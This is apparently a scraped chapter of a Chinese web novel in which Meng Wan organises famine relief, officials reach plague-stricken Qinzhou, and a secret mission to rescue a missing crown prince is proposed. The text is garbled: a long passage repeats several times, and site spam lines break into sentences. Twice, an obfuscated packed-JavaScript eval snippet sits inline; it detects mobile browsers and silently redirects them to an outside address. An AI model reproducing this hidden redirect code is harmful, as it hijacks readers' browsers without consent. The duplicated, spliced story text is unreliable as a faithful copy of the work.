“又记得谁了?外面还剩多少人没吃上饭?要是够了我们就做送去给病人的了。”孟晚从门后出来没好气的说。 阿砚一秒老实,“阿爹~还剩下七个人。” 小吏也把快要瞪脱框的眼珠收回来,“孟夫郎,外面的馒头已经够了,就是粥还差几碗。” 孟晚收了几个用过的空筐,“等着,马上就来。” 孟晚说话,大家都是尊敬着,那些寻常百姓不知道就罢了,其余人可是知晓孟晚身份的。上至正二品的钦差大臣夏垣,下至衙役捕快,谁都没想到孟晚会亲力亲为,还招来这些没染病的哥儿女娘过来做饭。 其实光是给做工的汉子做饭是用不了这么个人的,可孟晚还是把他们一个不落的叫过来了。 没有工钱,但是饭管饱,而且…… “他们外面不缺馒头了,舒娘,你再端出去半盆粥。” “剩下的人去把自己爹娘孩子都叫过来,咱们也准备吃饭了。” 孟晚招呼完,一时间没人动作,大家都傻傻的 愣在原地。 孟晚知道她们在想什么,“都愣着做什么?你们在我这儿做工,总不能把老人孩子留在家里挨饿吧?不差他们那一口,都叫过来吧。” 灾情面前,孩子和老人总是最先被淘汰,这里很多人都失去了亲人。 孟晚的话说完,不管是家中有没有老人孩子的,大家眼眶都变得通红。 黄叶推了推其中一个家里还剩下两个孩子的,“夫郎都发话了,快去吧。” 那女娘抹抹眼睛,低低的应了一声“欸”。 只有十几个人回去叫家人了,剩下的人都已经失去了自己的至亲。 孟晚见大家情绪低迷,干脆对黄叶说:“叶哥儿,去吧家里带来的糖拿出来两包,咱们蒸糖包子吃!” “知道了夫郎,我这就去。”黄叶脆生生地回道。 城外的那三十几个病患挪到了县衙里,但他们身体实在太弱了,前几日只能喝粥。 衙役们将孟晚他们熬好的粥搬到马车上,送至县学里。院里剩下了两锅煮的粘稠的糙米粥,加上新出锅的糖馒头,虽然没有什么配菜,小咸菜,大家也都吃的喷香。 “我长这么大,还是头次吃馒头,里面还有糖,可真香,但是我阿爹吃不到了。”有个小哥儿突然哽咽着说。 旁边有个上了年纪的妇人拍了他一下,“别这副样子,孟夫郎不想看见我们哭哭啼啼的。” 有人附和,“就是,好好吃饭,一会儿还要干活,说是给咱们计酬,一天的工记一筹,满十筹春耕的时候就能换一亩地种,或是换五十斤的糙米。” “我家的地都被淹了,可是一亩都没有,就指着和县太爷换地呢!” 她们说着说着,突然对未来就有了盼头。 孟晚听着大家说话,啃着手里久违的杂面馒头,品着那粗糙的外皮下所包裹的一点甜。 “孟夫郎这里好热闹啊,不知道本官能不能厚颜求上两个馒头?”这两天不知道在屋里忙活什么的夏垣也过来凑热闹。 孟晚将吃到一半的馒头掰开给夏垣看,“夏大人来的正巧,我们吃的是糖馒头,只不过是杂面的,不知道您吃不吃的惯。” “孟夫郎这就不知道了,老夫也曾在地方上任过地方官,杂面窝头也是吃过的。”夏垣笑呵呵的接过了一个杂面馒头,一大口下去,愣是嚼了半天也 咽不进去。 孟晚看出了他的窘迫,“大人若是吃不进去也没关系,在盛京这种杂面馒头肯定很少,我几年没吃,也是有些吃不惯的。” 盛京那么繁华的地段,恨不得馒头里都掺了龙肝凤髓,这样质感粗糙,里面还掺着麦麸的杂面馒头,这样大人物怎么能吃的进去…… “大人?”孟晚惊讶的发现夏垣在艰难且缓慢的吃馒头,还真的很快就吃了半个馒头下去。 夏垣端着随从递过来的半碗粥,“里面的糖不错,听闻孟夫郎在赫山县办了一家糖坊,想必是糖坊里产的糖?” 孟晚脸上绽开一个真诚的笑意,“大人若是喜欢,等您回京我给您备上几箱。赫山不光我家,其他糖坊的糖做的也都不错。” 夏垣将剩下半个馒头就着粥吃了,“等本官回京,定要去名满岭南的赫山县看看。” 两人客套了几句后夏垣离开,孟晚接着吃自己的馒头,嘟囔了一句,“也不是所有京官都那么讨厌,这老头还不错。” 宋亭舟行事果决,只用三天的时间便将浦北县城里城外打理的井井有条,可还不够。 浦北县辖内的大小村庄还不知是何情况,仍要一一探查。而且整个钦州的水源明显出了问题,这些百姓们吃水只能暂用井水。 衙役和捕快轮流在附近村落搜寻染病或者没有染病的村民,楚辞全程跟随。 好消息是除了几个大型水库被冲毁了堤坝之外,其附近的村庄被洪水淹灭,损伤惨重,近乎灭村。 其余村落灾情并不严重,有疫病的村子几乎被人隔绝起来,大家敬而远之。 下一轮便是将染上疫病的村民带到县城外安置起来,同时提醒其他村民不要饮用河里的水。 “那河里头泡的都是死尸,我们又不傻,肯定不喝那臭水。”前脚衙役刚走,后脚村民们就吐槽起来。 走到最后面的楚辞听见后嘴角一勾,回头对说话的村民竖起了一根大拇指,这是孟晚教的,表示夸别人很厉害的意思。 他们在浦北县一共停留了七天,虽然没有将全部患病的人都治好,但有了苗老爷子留下的药方每日煎药,痊愈只是时间早晚的问题。 走的那天除来生病的百姓们,其余能动的都来城门口送宋亭舟他们,包括知县付孝,一把年纪还感性的掉眼泪。、 夏垣感慨,“ 为官者,能做到万民敬仰,当是此生无憾,景行于整个岭南来说,又何止万民!” 几乎他话刚说完,送别的群众里就开始呐喊:“孟夫郎,等我男人病好了,我们就去西梧府看你!” “孟夫郎,你别走,呜呜呜……” “您教我们做的油果子和豆腐我们都会做了,谢谢孟夫郎!” 宋亭舟目光柔和,比自己被夸了还要欣慰,“内子心善,万民敬仰说不上,但在岭南确实比下官更得民心。” 夏垣失笑道:“本官也瞧出来了。” 宋亭舟临行前又叮嘱付孝几句后续事宜,付孝冷不丁的问道:“下官曾经派亲信去西梧府给宋大人送信求助,大人是看到下官的信才来浦北县的吗?” 宋亭舟眉头轻蹙,“我从未接到浦北县递上来的信件。” 付孝叹道:“钦州**流寇众多,他可能是路上遭遇了不测吧。” —— 钦州地界没有西梧府大,村落和城镇也少。因为付孝的话,宋亭舟一路都在担心当地**猖狂,恐会生乱,没想到一路平安无事的赶到了钦州城。 曾经在浦北县的情形再次上演,而且比起人口本就不多的浦北县,汇集八万大军的钦州城更加怵目惊心。 从还没入城起,道路两旁便逐渐出现腐烂发臭的死尸,越靠近城池,路边的尸体便越来越多。 宋亭舟立即便叫停了马车,这种情况下,就算他们身边有苗家祖孙和小辞在,定然也会被感染上黄水疮。 “晚儿。”他看向身边的孟晚。 “先问问苗郎中,可有能预防的有效药物,他们研究了这么长时间,应该是有些进展的。”若是实在不行,孟晚也不会硬挺。 苗郎中笑呵呵的说:“大人不必忧虑,哪怕夫郎真的染上疫病,初期两副药灌进去也无大碍。”黄水疮之症可怕在于发作后皮肤溃烂,感染性强。初期被诊治出来是极好医治的。 宋亭舟面色半点也不放松,只要是病就有意外,他不想孟晚涉险。 孟晚劝他,“跟你进城身边好歹还有这么多人照顾,在城外万一遇上**岂不是更冤?” 宋亭舟在孟晚面前耳根子软的要命,几句话就已经被自家夫郎说服。 楚辞下车将马车和人的身上都撒了药粉,味道很呛鼻,但谁也没有出声抱怨,这会大家连呼气都不敢用力。 离得远的时候觉得钦州城的大门和浦北县一样是关着的,可马车走到近前才能看见,那门是半开着的。 门内和门外甚至都没有什么区别,生了黄水疮的灾民数不胜数,地上处处都是大大小小的水坑,尸体被人搬到道路两侧,有少半部分直接横在街道上。 上官入城,本该有下官迎接才是,但他们从入城后,便看不到一个还带着人气的好人了。 一路直奔知州公署,门前院内都挂着白灯笼,浦北县好歹还有个知县主事,州署里的知州竟然直接葬了命? 为官者,能做到万民敬仰,当是此生无憾,景行于整个岭南来说,又何止万民!” 几乎他话刚说完,送别的群众里就开始呐喊:“孟夫郎,等我男人病好了,我们就去西梧府看你!” “孟夫郎,你别走,呜呜呜……” “您教我们做的油果子和豆腐我们都会做了,谢谢孟夫郎!” 宋亭舟目光柔和,比自己被夸了还要欣慰,“内子心善,万民敬仰说不上,但在岭南确实比下官更得民心。” 夏垣失笑道:“本官也瞧出来了。” 宋亭舟临行前又叮嘱付孝几句后续事宜,付孝冷不丁的问道:“下官曾经派亲信去西梧府给宋大人送信求助,大人是看到下官的信才来浦北县的吗?” 宋亭舟眉头轻蹙,“我从未接到浦北县递上来的信件。” 付孝叹道:“钦州**流寇众多,他可能是路上遭遇了不测吧。” —— 钦州地界没有西梧府大,村落和城镇也少。因为付孝的话,宋亭舟一路都在担心当地**猖狂,恐会生乱,没想到一路平安无事的赶到了钦州城。 曾经在浦北县的情形再次上演,而且比起人口本就不多的浦北县,汇集八万大军的钦州城更加怵目惊心。 从还没入城起,道路两旁便逐渐出现腐烂发臭的死尸,越靠近城池,路边的尸体便越来越多。 宋亭舟立即便叫停了马车,这种情况下,就算他们身边有苗家祖孙和小辞在,定然也会被感染上黄水疮。 “晚儿。”他看向身边的孟晚。 “先问问苗郎中,可有能预防的有效药物,他们研究了这么长时间,应该是有些进展的。”若是实在不行,孟晚也不会硬挺。 苗郎中笑呵呵的说:“大人不必忧虑,哪怕夫郎真的染上疫病,初期两副药灌进去也无大碍。”黄水疮之症可怕在于发作后皮肤溃烂,感染性强。初期被诊治出来是极好医治的。 宋亭舟面色半点也不放松,只要是病就有意外,他不想孟晚涉险。 孟晚劝他,“跟你进城身边好歹还有这么多人照顾,在城外万一遇上**岂不是更冤?” 宋亭舟在孟晚面前耳根子软的要命,几句话就已经被自家夫郎说服。 楚辞下车将马车和人的身上都撒了药粉,味道很呛鼻,但谁也没有出声抱怨,这会大家连呼气都不敢用力。 离得远的时候觉得钦州城的大门和浦北县一样是关着的,可马车走到近前才能看见,那门是半开着的。 门内和门外甚至都没有什么区别,生了黄水疮的灾民数不胜数,地上处处都是大大小小的水坑,尸体被人搬到道路两侧,有少半部分直接横在街道上。 上官入城,本该有下官迎接才是,但他们从入城后,便看不到一个还带着人气的好人了。 一路直奔知州公署,门前院内都挂着白灯笼,浦北县好歹还有个知县主事,州署里的知州竟然直接葬了命? 为官者,能做到万民敬仰,当是此生无憾,景行于整个岭南来说,又何止万民!” 几乎他话刚说完,送别的群众里就开始呐喊:“孟夫郎,等我男人病好了,我们就去西梧府看你!” “孟夫郎,你别走,呜呜呜……” “您教我们做的油果子和豆腐我们都会做了,谢谢孟夫郎!” 宋亭舟目光柔和,比自己被夸了还要欣慰,“内子心善,万民敬仰说不上,但在岭南确实比下官更得民心。” 夏垣失笑道:“本官也瞧出来了。” 宋亭舟临行前又叮嘱付孝几句后续事宜,付孝冷不丁的问道:“下官曾经派亲信去西梧府给宋大人送信求助,大人是看到下官的信才来浦北县的吗?” 宋亭舟眉头轻蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141957|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我从未接到浦北县递上来的信件。” 付孝叹道:“钦州**流寇众多,他可能是路上遭遇了不测吧。” —— 钦州地界没有西梧府大,村落和城镇也少。因为付孝的话,宋亭舟一路都在担心当地**猖狂,恐会生乱,没想到一路平安无事的赶到了钦州城。 曾经在浦北县的情形再次上演,而且比起人口本就不多的浦北县,汇集八万大军的钦州城更加怵目惊心。 从还没入城起,道路两旁便逐渐出现腐烂发臭的死尸,越靠近城池,路边的尸体便越来越多。 宋亭舟立即便叫停了马车,这种情况下,就算他们身边有苗家祖孙和小辞在,定然也会被感染上黄水疮。 “晚儿。”他看向身边的孟晚。 “先问问苗郎中,可有能预防的有效药物,他们研究了这么长时间,应该是有些进展的。”若是实在不行,孟晚也不会硬挺。 苗郎中笑呵呵的说:“大人不必忧虑,哪怕夫郎真的染上疫病,初期两副药灌进去也无大碍。”黄水疮之症可怕在于发作后皮肤溃烂,感染性强。初期被诊治出来是极好医治的。 宋亭舟面色半点也不放松,只要是病就有意外,他不想孟晚涉险。 孟晚劝他,“跟你进城身边好歹还有这么多人照顾,在城外万一遇上**岂不是更冤?” 宋亭舟在孟晚面前耳根子软的要命,几句话就已经被自家夫郎说服。 楚辞下车将马车和人的身上都撒了药粉,味道很呛鼻,但谁也没有出声抱怨,这会大家连呼气都不敢用力。 离得远的时候觉得钦州城的大门和浦北县一样是关着的,可马车走到近前才能看见,那门是半开着的。 门内和门外甚至都没有什么区别,生了黄水疮的灾民数不胜数,地上处处都是大大小小的水坑,尸体被人搬到道路两侧,有少半部分直接横在街道上。 上官入城,本该有下官迎接才是,但他们从入城后,便看不到一个还带着人气的好人了。 一路直奔知州公署,门前院内都挂着白灯笼,浦北县好歹还有个知县主事,州署里的知州竟然直接葬了命? 为官者,能做到万民敬仰,当是此生无憾,景行于整个岭南来说,又何止万民!” 几乎他话刚说完,送别的群众里就开始呐喊:“孟夫郎,等我男人病好了,我们就去西梧府看你!” “孟夫郎,你别走,呜呜呜……” “您教我们做的油果子和豆腐我们都会做了,谢谢孟夫郎!” 宋亭舟目光柔和,比自己被夸了还要欣慰,“内子心善,万民敬仰说不上,但在岭南确实比下官更得民心。” 夏垣失笑道:“本官也瞧出来了。” 宋亭舟临行前又叮嘱付孝几句后续事宜,付孝冷不丁的问道:“下官曾经派亲信去西梧府给宋大人送信求助,大人是看到下官的信才来浦北县的吗?” 宋亭舟眉头轻蹙,“我从未接到浦北县递上来的信件。” 付孝叹道:“钦州**流寇众多,他可能是路上遭遇了不测吧。” —— 钦州地界没有西梧府大,村落和城镇也少。因为付孝的话,宋亭舟一路都在担心当地**猖狂,恐会生乱,没想到一路平安无事的赶到了钦州城。 曾经在浦北县的情形再次上演,而且比起人口本就不多的浦北县,汇集八万大军的钦州城更加怵目惊心。 从还没入城起,道路两旁便逐渐出现腐烂发臭的死尸,越靠近城池,路边的尸体便越来越多。 宋亭舟立即便叫停了马车,这种情况下,就算他们身边有苗家祖孙和小辞在,定然也会被感染上黄水疮。 “晚儿。”他看向身边的孟晚。 “先问问苗郎中,可有能预防的有效药物,他们研究了这么长时间,应该是有些进展的。”若是实在不行,孟晚也不会硬挺。 苗郎中笑呵呵的说:“大人不必忧虑,哪怕夫郎真的染上疫病,初期两副药灌进去也无大碍。”黄水疮之症可怕在于发作后皮肤溃烂,感染性强。初期被诊治出来是极好医治的。 宋亭舟面色半点也不放松,只要是病就有意外,他不想孟晚涉险。 孟晚劝他,“跟你进城身边好歹还有这么多人照顾,在城外万一遇上**岂不是更冤?” 宋亭舟在孟晚面前耳根子软的要命,几句话就已经被自家夫郎说服。 楚辞下车将马车和人的身上都撒了药粉,味道很呛鼻,但谁也没有出声抱怨,这会大家连呼气都不敢用力。 离得远的时候觉得钦州城的大门和浦北县一样是关着的,可马车走到近前才能看见,那门是半开着的。 门内和门外甚至都没有什么区别,生了黄水疮的灾民数不胜数,地上处处都是大大小小的水坑,尸体被人搬到道路两侧,有少半部分直接横在街道上。 上官入城,本该有下官迎接才是,但他们从入城后,便看不到一个还带着人气的好人了。 一路直奔知州公署,门前院内都挂着白灯笼,浦北县好歹还有个知县主事,州署里的知州竟然直接葬了命? 为官者,能做到万民敬仰,当是此生无憾,景行于整个岭南来说,又何止万民!” 几乎他话刚说完,送别的群众里就开始呐喊:“孟夫郎,等我男人病好了,我们就去西梧府看你!” “孟夫郎,你别走,呜呜呜……” “您教我们做的油果子和豆腐我们都会做了,谢谢孟夫郎!” 宋亭舟目光柔和,比自己被夸了还要欣慰,“内子心善,万民敬仰说不上,但在岭南确实比下官更得民心。” 夏垣失笑道:“本官也瞧出来了。” 宋亭舟临行前又叮嘱付孝几句后续事宜,付孝冷不丁的问道:“下官曾经派亲信去西梧府给宋大人送信求助,大人是看到下官的信才来浦北县的吗?” 宋亭舟眉头轻蹙,“我从未接到浦北县递上来的信件。” 付孝叹道:“钦州**流寇众多,他可能是路上遭遇了不测吧。” —— 钦州地界没有西梧府大,村落和城镇也少。因为付孝的话,宋亭舟一路都在担心当地**猖狂,恐会生乱,没想到一路平安无事的赶到了钦州城。 曾经在浦北县的情形再次上演,而且比起人口本就不多的浦北县,汇集八万大军的钦州城更加怵目惊心。 从还没入城起,道路两旁便逐渐出现腐烂发臭的死尸,越靠近城池,路边的尸体便越来越多。 宋亭舟立即便叫停了马车,这种情况下,就算他们身边有苗家祖孙和小辞在,定然也会被感染上黄水疮。 “晚儿。”他看向身边的孟晚。 “先问问苗郎中,可有能预防的有效药物,他们研究了这么长时间,应该是有些进展的。”若是实在不行,孟晚也不会硬挺。 苗郎中笑呵呵的说:“大人不必忧虑,哪怕夫郎真的染上疫病,初期两副药灌进去也无大碍。”黄水疮之症可怕在于发作后皮肤溃烂,感染性强。初期被诊治出来是极好医治的。 宋亭舟面色半点也不放松,只要是病就有意外,他不想孟晚涉险。 孟晚劝他,“跟你进城身边好歹还有这么多人照顾,在城外万一遇上**岂不是更冤?” 宋亭舟在孟晚面前耳根子软的要命,几句话就已经被自家夫郎说服。 楚辞下车将马车和人的身上都撒了药粉,味道很呛鼻,但谁也没有出声抱怨,这会大家连呼气都不敢用力。 离得远的时候觉得钦州城的大门和浦北县一样是关着的,可马车走到近前才能看见,那门是半开着的。 门内和门外甚至都没有什么区别,生了黄水疮的灾民数不胜数,地上处处都是大大小小的水坑,尸体被人搬到道路两侧,有少半部分直接横在街道上。 上官入城,本该有下官迎接才是,但他们从入城后,便看不到一个还带着人气的好人了。 一路直奔知州公署,门前院内都挂着白灯笼,浦北县好歹还有个知县主事,州署里的知州竟然直接葬了命? 第3章 秦指挥使 知州死于八天前,这是公署里仅存的几个小官说的。死因也不出意外,是因为黄水疮。 “这疫症来的太快了,知州大人病重,实在无能为力。小吏苦诉道。 夏垣厉声质问:“那他为何拖到城内生疫?而不是在钦江决堤时,便立刻通知朝廷? 小吏大呼冤枉,“大人们进城时也都看见了,连城外的护城河都被洪水冲毁,当时整座城池里全是积水,我们里面的人连出都出不去,何谈上书朝廷啊! 另一个小吏也苦笑着说:“后来城内的洪水还没完全退却,就有人突发了疫病,其中便包括公署里的大批官员和我们的知州大人。 知州习武,身强体壮,还是挺了挺长时间的,直到前几天才去世。 宋亭舟问道其中一个关键点上,“钦江为何突然泛滥。 几个小吏你看看我,我看看你,脸上都由悲苦转化为愤怒。 “是安南! 夏垣神情一凛,“怎么回事,和安南又有什么关系?陛下这次派他过来最重要的任务,便是探查钦州洪水泛滥的源头。 这两个小吏的家人不是被洪水淹死,便是得了疫病生生病死,提起罪魁祸首就咬牙切齿,恨不能将他们生吞活剥,“他们不知从什么时候起,便悄悄挖通了一条通向钦江的地下暗河,积攒不可估计的水量,一直隐忍不发,直至十月份军营的士兵们开始秋收! 驻军也是要种地的,不然光靠朝廷供应粮食谁也供不起。与钦州比邻的安南国,自新王登基后,就一直不满每年都要向禹国献贡,两国多有摩擦,不过都是小打小闹,也没耽误两边种地。 谁知道他们换了新王之后像是通了七窍,竟然能想出这么阴损的招式来,甚至都不知道谋划了多少年了。 宋亭舟和夏垣的脸色都难看到极点,他们一路想过无数可能,可没想到真相竟然牵扯到了他国,这样的话事态就严重了。 这个朝代有些头脸的人家都养门人,夏垣身边一个沉默寡言的瘦子便是个身手了得的高手。 夏垣没有丝毫犹豫,当即写了份密信交给瘦子,让他立即送去西梧府的驿站。 “宋大人,钦州的灾情和证物还是要麻烦你,本官要赶去军营一趟。 宋亭舟 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 义不容辞的答应下来,“夏大人放心,下官定会竭尽所能。” 夏垣神色缓和,他已经见识了宋亭舟的能力,“本官知道这次孟夫郎一路随行花费不少,等朝廷赈灾的款下来,一定请旨陛下,对孟夫郎多多补偿。” 提到自己,孟晚便站出来出声,“草民这点小小的付出,远比不上您和草民夫君这样一心为民的好官,嘉奖便免了。草民愿意将那些钱财捐赠给钦州因为这场灾难而失去亲人的孩子们。” 夏垣郑重的对孟晚揖了一礼,吓得孟晚赶紧回礼,这位可是比宋亭舟官高四阶啊! “孟夫郎大义。” 夏垣神色焦急,客套完便立即想带人去军营里看看,孟晚不知想到什么,突然建议道:“军营不知是何情况,不如我带着小辞也和大人过去看看。” 他手伸到身后拉住宋亭舟的手,示意对方不必担心。 楚辞跟着苗家祖孙出了不少的力,医术也没话说,起码比钦州当地的郎中强,夏垣没有犹豫太久,很快答应下来。 一行人才刚入钦州城还没到半日,就又重新分开。宋亭舟将他这边身手最好的蚩羽派到孟晚身边,俩孩子随他留在城中安置,黄叶和雪生也留下护着孩子。 孟晚等人轻车简行,直奔钦州军营。 为了不让各地驻军拥兵自重,驻军统领几年便换一个,但朝中能用的武官就那么多,来回来去就是那么几个人。 除了在军中威望极高的定襄国公外,忠毅侯府秦家也有效忠于自己的军队,钦州军营便隶属于秦家军。 孟晚和夏垣连夜赶到钦州军营,出乎意料的是,军营的情况似乎被人控制住了。 远远望去,能看到庞大的营区被灰白色的粗麻布分成三块,靠近边境线的最前方几乎没有人在外走动,连盏油灯也未点燃。 中间的区域能看到有人在其中走动,但是也很少。 不管是前线区域,还是中间区域,基本都是以帐篷为主。只有挨着钦州城的最后方除了帐篷外,还盖了两片石屋。应该是给高阶武将准备的。 孟晚还是头次来前线,他向前眺望,并不能看见传说中的安南国,前方是大片的山区和一眼望不到头的河道。 “什么人!” 营区四周有全副武装的士兵在巡逻,和反恐精英似的,就露着两只眼睛。发现孟晚一行人的 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 车马在靠近后,迅速上前将他们围起来。 另外有士兵见他们人数不少,则是丝毫犹豫没有的退后狂奔回营。 夏垣身边有个不起眼的护卫喝道:“跑什么,是自己人。” 有士兵认出了护卫,“秦将军!” 这个不起眼的护卫竟然是秦家人,连孟晚也没想到这种惊天反转。 “真的是秦将军回来了!”士兵们惊喜的呼叫起来。 夏垣率先向不在状况内的孟晚告罪,“还请孟夫郎不要见怪,这些都是陛下的密令,本官和秦将军并不是有心隐瞒宋大人。” 甭管孟晚心里怎么想,面上还是恭逊的说:“夏大人多虑了,您身负皇命,理当小心行事。” 不说夏垣,秦啸云这一路也见识了宋亭舟和孟晚的谋略及手腕,对孟晚客客气气的点了点头略表歉意,便站在前方带领众人顺利入了军营。 入了营后,秦啸云和夏垣都迫不及待的往最大的房屋中走去。孟晚不急不缓的坠在后面,听着里面传来的惊呼。 “艽儿,你怎么这副样子!” “秦指挥使,殿下何在?” 孟晚脚步一顿,秦艽不在钦州城,果然在军营里,只是这个殿下是哪个殿下,不会是太子吧? 宋亭舟刚任西梧府同知那年,太子确实曾来过钦州一次,当时两国之间还是小打小闹,他确认钦州边境还算安全,便把小舅子丢下练手。 孟晚脚步顿住,停在门口半点没有进去的意思,蚩羽和楚辞便也一同留在门外。 “你们是谁啊?” 这边的房子附近都有大批士兵巡逻,孟晚他们是被秦啸云带进来的。 但面前的人进来之后恍若无人之境,所有巡逻的士兵不光直接放他进来,甚至还态度和善的同他打招呼。 蚩羽站在孟晚前面,“你又是谁?” 那人是个容貌清秀的小哥儿,穿着颜色素净的薄棉衫,一手拎着药箱,另一只手上还端着药碗。 浓黑的药液冒着袅袅白烟,将他白嫩的手掌都烫红了。 孟晚只一个照面就确定,这位小哥儿穿着打扮清苦,却不是个常年干过重活的。 如青杏阿寻这样的医药人家,手上也免不了干活留下的薄茧。孟晚自己也是农活、灶上活计、拿笔杆子,各个都没少 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 做过。 他磨着手掌上微薄的茧子,面上露出一抹和善的笑意,“手下警惕心有些强,莫要见怪,你莫非是营里的军医? 那小哥儿往台阶上走了一步,表情冷冷淡淡的说:“我父亲是随军的军医,我是过来帮忙的。 “哦,原来是这样啊。孟晚拉着楚辞让开了路,任由对方走了进去。 “你是何人,不可擅自闯入! 果然,里面夏垣的人拦住了那小哥儿。 之后就是清悦的辩解声,“我是来给指挥使大人送药的。 “暂时不需要,出去等候传唤。 刚进去的小哥儿又被护卫逼退了出来。 护卫看到站在门口的孟晚,双手抱拳,“孟夫郎,大人请您带着楚公子进去一趟。 被赶出来的小哥儿有一瞬间面色扭曲,但很快又将表情掩盖住。 孟晚仿若无知无觉,留下蚩羽守在门口,带楚辞进了屋里。 屋子里的秦啸云和夏垣守在床边,脸色都称不上好看,而床上躺着面色虚弱的男人,则正是阔别三年没见的秦艽。 他穿着亵衣亵裤躺在床上,脸上和耳后位置生了几个黄豆大小的脓包。 孟晚示意楚辞上前给情况不太妙的秦艽把脉,口中说着,“秦世子,多年没见,你怎么将自己弄成这个样子? 秦艽露出一抹在孟晚看来十分陌生的苦笑,“我如今怎么样都不重要,重要的是我姐夫的下落,若是他出个什么好歹,我万死难辞! “太子殿下!他果真来了钦州?什么时候的事?孟晚大骇。 秦艽闭上双目,缓缓说道:“去年。 秦艽早就到了成婚的年龄,可玩心未散一直拖着。宋亭舟朝觐那年,他在皇上面前、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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剩下的不用问了,见秦艽这样自责,大家被洪水冲散后太子肯定出了事,甚至连黄水疮这种疫病都不知道会不会是对面安南故意**。 夏垣脸色阴沉的厉害,“据秦指挥使所说,太子殿下极有可能是被安南人给掳了去。” 秦啸云是秦艽的叔父,他在秦艽床前急躁的走了两步,突然暴起甩了秦艽两巴掌。 身为武人,他下手不可谓不重,秦艽本来就半死不活,差点没叫他这两巴掌直接抽死过去。 孟晚赶紧站在秦艽前面阻止他接着**,“秦将军息怒,怪只怪安南人狡猾,秦艽本就病重,你再打下去,太子殿下没找到,他就先被您打**。” 秦艽再也受不住内心的谴责,不光太子是禹国储君,还因为对方从小就护着他长大,一心为他筹谋。比起姐夫,更像是他亲哥哥。 若是太子真出了什么事,他上对不起朝廷,下对不起姐姐,万死难辞! 不光秦艽,夏垣和秦将军也都沉默不语,一屋子的人都开始Emm。 什么水患,什么疫病,所以一切加在一起也没有丢个太子重要。 两个大官不说话,孟晚也不吭声,认真的盯着给秦艽处理伤口的楚辞,仿佛要在他脸上盯出花来。 “孟夫郎。”夏垣先打破了平静。 孟晚如梦初醒 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,“夏大人您叫我?” 夏垣愁眉不展的说道:“本官有个不情之请,不知道当不当说。” 孟晚心里咯噔一声,他就知道,让自己这样四品地方官的夫郎知道这种辛密,夏老头定是没憋什么好屁。但他能怎么办呢?只能顺着夏垣的话自己往坑里跳。 “您有话尽管直说。” 夏垣锁着眉长叹一声,“殿下生死未卜,实在令人担忧,如今军中将领死的死病的病,需要秦将军留下坐镇。钦州上下一片混乱又只能仰仗宋大人整顿……” 孟晚笑容开始牵强,“您的意思是?” 夏垣和秦啸云对视一眼,不知这两个老狐狸在孟晚没发现的时候都商讨了什么鬼点子,竟动作一致的对孟晚行了个大礼。 屋子里地方就这么大点,孟晚想躲都躲不开,只能硬生生的受着。 只听夏垣说道:“孟夫郎虽然身为哥儿,但在岭南一代受百姓爱戴,又扶持工坊无数,机敏有佳,可愿随老夫一起秘密去一趟安南,拯救太子殿下?” 孟晚不可能被人几句夸奖就弄得找不到北,胡乱应下,可夏垣下一句话便是,“若不得孟夫郎相助,本官也只能回钦州城去找宋大人求助了。” 孟晚很久没有过这种被人拿捏地死死的感觉了,他唇角勾起一抹虚假的笑容,从牙缝里挤出一句话,“钦州百姓还需要他安置,还是我随夏大人走一趟吧。” 第4章 医者仁心 因为营救太子这件事紧急又不能对外人透露,否则轻则是太子信服力下降,太子**被廉王**打压耻笑。重则会引起朝堂动荡,甚至让生死不知的太子处境变得更加危险。 孟晚无法,只能把楚辞留下给秦艽治病,自己又和蚩羽跑回钦州城找宋亭舟,明里暗里把事情严重性和宋亭舟说了,身体力行的哄了他一整晚。第二天告别一脸低气压的男人,重新返回军营。 楚辞治疗黄水疮已经制出了经验,秦艽毕竟身份地位在这儿,军营里的军医几乎是倾尽所能先救秦艽,因此他的病情维持的很好,并不算是最严重的那批,喝上几服药再配上他特制的药膏便能痊愈。 虽然楚辞医术高明,但军队里生病的人远不止秦艽这个指挥使。八万人的士兵,哪怕将楚辞劈成十瓣都都不够用。 西梧府苗家—— “青杏姑娘,你真的要去钦州?”徐文君虽然仍是一副温文儒雅的派头,可眼神中充满了担忧。 “我祖父他们现在正在浦北县为人治病,为了给公子清毒我已经耽搁了许久,这会儿也该赶过去了。”青杏将自己的东西一样样往马车上搬,不光是她,还有家里的弟妹们也都在忙活。 他们要将铺子里能用上的药材都装上马车,为钦州灾患出上一份力。 徐文君见青杏半点没有动摇,矜持冷静的脸终于开始发生变化,他抓住青杏搬药材的手,音调比平时高上一截,“青杏!” 青杏动作停下,盯着两人交叠在一起的手,耳根红成一片。白薇看不懂大人的脸色就罢了,小蓟和忍冬双双对视一眼,拉着白薇躲到了药房里。 白薇不明所以,语气天真,“三哥、四哥,我们怎么不干活了?” 忍冬是哑巴,小蓟则温和一笑,“我们不去外面干活了,在铺子里找药材,薇娘要帮忙吗?” 白薇瞬间将刚才的问题抛之脑后,“要!要!” 苗家的院子里只剩下青杏和徐文君两人,“徐公子,你放心,你的毒已经好了大半,若不是怕你身体虚弱承受不住太激烈的祛毒手段,其实是不用等太久……” “青杏!”徐文君嘴唇微抿,“我难道担心的是你后续不能帮我祛毒吗?宋大人递回了消息,现在西梧府府衙、各县城和小镇上全都张贴了公文!钦州疫病严重,任何百姓和商户都不得私自前往!”疫情严重到这种程度,堪称百年不见 ,谁知道去了还能不能活着回来。 